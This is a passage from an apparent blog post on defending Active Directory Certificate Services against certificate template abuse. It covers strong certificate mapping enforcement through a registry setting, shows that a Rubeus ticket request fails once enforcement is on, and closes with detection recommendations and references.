will enforce certificates to have the new OID present and the full enforcement in November 2023 will not allow weak mappings between certificates and user accounts.</p><p>That is actually a good thing because this behavior change prevents the demonstrated attack!</p><p>We can already switch to full enforcement mode by manually enforcing the strong mapping by creating the following registry entry:</p><ul><li>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc</li><li>StrongCertificateBindingEnforcement: 2 (DWORD)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*zYwwi5ScLVaamse6JQM_GQ.png" /><figcaption>Manually setting the strong certificate mapping</figcaption></figure><p>A subsequent attempt to request a kerberos TGT ticket with rubeus fails, as no strong mapping can be performed by our certificate and the user account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*5cRRabSl1h5BTIibYcru1w.png" /></figure><p>The domain controller&#39;s system event log also contains the corresponding event from the KDC service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*VxGpokaRX8TezbdwrLyYBA.png" /></figure><p>So by setting the value for <em>StrongCertificateBindingEnforcement </em>to 2 we can defend successfully against this type of attack. Although full enforcement might not be possible yet in all environments as there are still some unclear questions when it comes to certificates not enrolled online (e.g. enrolled via SCEP).</p><p>During the process of writing this post, Microsoft announced another way to achieve mapping, by using a special SAN URI for this certificates⁵, that would allow again tampering with weak certificate templates as we can supply also malicious SAN URIs when we can control subject alternate names.</p><h3>🔑 Take aways and recommendations</h3><ul><li>Enable appropriate data source for event forwarding to Sentinel to have additional evidence for misuse of certificates: ADCS advanced auditing, and Domain Controller Security Events for kerberos authentication success and failure</li><li>Regularly check ADCS certificate templates for misconfigurations, e.g. via <a href="https://github.com/GhostPack/PSPKIAudit">GhostPack/PSPKIAudit: PowerShell toolkit for AD CS auditing based on the PSPKI toolkit. (github.com)</a></li><li>Audit and alert on certificate template changes or configuration changes to ADCS</li><li>Already consider the enforcement of certificate mapping and the upcoming enforcement</li><li>Make sure your MDI sensors are in a healthy state and auto update is working to profit from new detection capabilities⁶</li><li>Ensure that all systems are onboarded to Defender for Endpoint and sensors reporting properly to detect usage and enumeration of tools to attack ADCS from domain member clients</li></ul><p>One thing I learned while writing this post was that detecting misuse of certificate template issuance is very hard. As we’re lacking important audit data such as the subject alternate name from ADCS. If you know any way about how to get these please let me know! I already though about trying to get this data with sysmon for the certsrv process on the CA or trough sysmon on the client side but havent had the time to dive further into this.</p><h3>References and further reading</h3><p>This post was written based on the following information provided and referenced via superscript:</p><ol><li>SpecterOps provides a really nice guide about the different misconfigurations for ADCS and certificate templates that can be found here: <a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">Certified_Pre-Owned.pdf (specterops.io)</a>. They also offer a PowerShell toolkit to scan for potential ADCS misconfigurations and vulnerable templates.</li><li>Kaido Järvemets has covered the whole ADCS event forwarding topic to Sentinel very nicely: <a href="https://www.kaidojarvemets.com/audit-active-directory-certificate-services-using-microsoft-sentinel/">Audit Active Directory Certificate Services using Microsoft Sentinel (kaidojarvemets.com)</a>, <a href="https://www.kaidojarvemets.com/microsoft-adcs-services-event-logs/">Microsoft Active Directory Certificate Services Event Logs (kaidojarvemets.com)</a></li><li>Detecting AD CS subjectAltName (SAN) Abuse Using KQL: <a href="https://in.security/2023/03/02/detecting-ad-cs-subjectaltname-san-abuse-using-kql/">Detecting AD CS subjectAltName (SAN) Abuse Using KQL — In.security</a></li><li>Certificate-based authentication changes on Windows domain controllers: <a href="https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16">KB5014754 — Certificate-based authentication changes on Windows domain controllers — Microsoft Support</a></li><li>Preview of SAN URI for Certificate Strong Mapping for KB5014754: <a href="https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/ba-p/3789785">Preview of SAN URI for Certificate Strong Mapping for KB5014754 — Microsoft Community Hub</a></li><li>Microsoft Defender for Identity Release Notes: <a href="https://learn.microsoft.com/en-us/defender-for-identity/whats-new">What’s new — Microsoft Defender for Identity | Microsoft Learn</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd7ee0c4985b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>